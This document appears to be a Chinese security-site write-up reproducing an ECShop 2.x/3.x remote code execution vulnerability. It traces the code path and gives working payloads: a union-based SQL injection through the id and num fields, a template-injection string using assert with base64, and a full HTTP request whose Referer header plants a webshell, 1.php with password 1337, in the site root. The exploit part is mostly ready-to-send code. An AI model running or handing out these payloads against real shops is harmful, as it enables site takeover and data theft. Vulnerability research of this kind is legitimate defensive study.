menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 038-ECShop chevron_right 002-ECShop _= 2.7.x 代码执行漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    002-ECShop _= 2.7.x 代码执行漏洞.md
    3.12 KB / 2021-07-17 00:01:20
        # ECShop <= 2.7.x 代码执行漏洞
    
    ### 一、漏洞简介
    
    ### 二、漏洞影响
    
    ECShop(2.x、3.0.x、3.6.x)
    
    ### 三、复现过程
    
    漏洞分析
    
    ![](images/15889997047304.png)
    
    
    继续看fetch函数
    
    ![](images/15889997121670.png)
    
    
    追踪_eval函数
    
    ![](images/15889997184110.png)
    
    
    `$position_style`变量来源于数据库中的查询结构
    
    ![](images/15889997290903.png)
    
    
    然后我们继续构造SQL注入,因为这段sql操作 order by部分换行了截断不了 所以需要在id处构造注释来配合num进行union查询
    
    ![](images/15889997359757.png)
    
    
    **payload**
    
    
    ```sql
    SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop27`.`ecs_ad` AS a LEFT JOIN `ecshop27`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1535678679' AND end_time >= '1535678679' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,2,3,4,5,6,7,8,9,10-- -
    ```
    
    函数中有一个判断
    
    ![](images/15889997531505.png)
    
    
    我们 id传入`’/*`
    
    num传入`*/ union select 1,0x272f2a,3,4,5,6,7,8,9,10– -`就能绕过了
    
    ![](images/15889997666860.png)
    
    
    var_dump一下
    
    ![](images/15889997748176.png)
    
    
    ![](images/15889997778543.png)
    
    
    再看fetch函数,传入的参数被fetch_str函数处理了
    
    ![](images/15889997846147.png)
    
    
    追踪fetch_str函数,这里的字符串处理流程比较复杂
    
    ![](images/15889997939452.png)
    
    
    
    ```
    return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
    ```
    
    这一行意思是比如`$source是xxxx{$asd}xxx`,那么经过这行代码处理后就是返回`this->select(‘$asd’)`的结果
    
    看看select函数
    
    ![](images/15889998134426.png)
    
    
    第一个字符为`$时进入$this->get_val`函数
    
    ![](images/15889998250064.png)
    
    
    我们`$val`没有`.$又进入make_var`函数
    
    ![](images/15889998410510.png)
    
    
    最后这里引入单引号从变量中逃逸
    
    ![](images/15889998476334.png)
    
    
    我们要闭合_var所以最终payload是
    
    
    ```bash
    {$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEudHh0JywnZ2V0c2hlbGwnKQ=='));//}xxx
    ```
    
    会在网站跟目录生成1.txt 里面内容是getshell
    
    ![](images/15889998717195.png)
    
    
    **poc**
    
    
    ```bash
    GET /user.php?act=login HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1
    Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    ```
    
    会在网站根目录生成1.php 密码是1337
    
    **参考链接**
    
    https://cloud.tencent.com/developer/article/1333449
    
    links
    file_download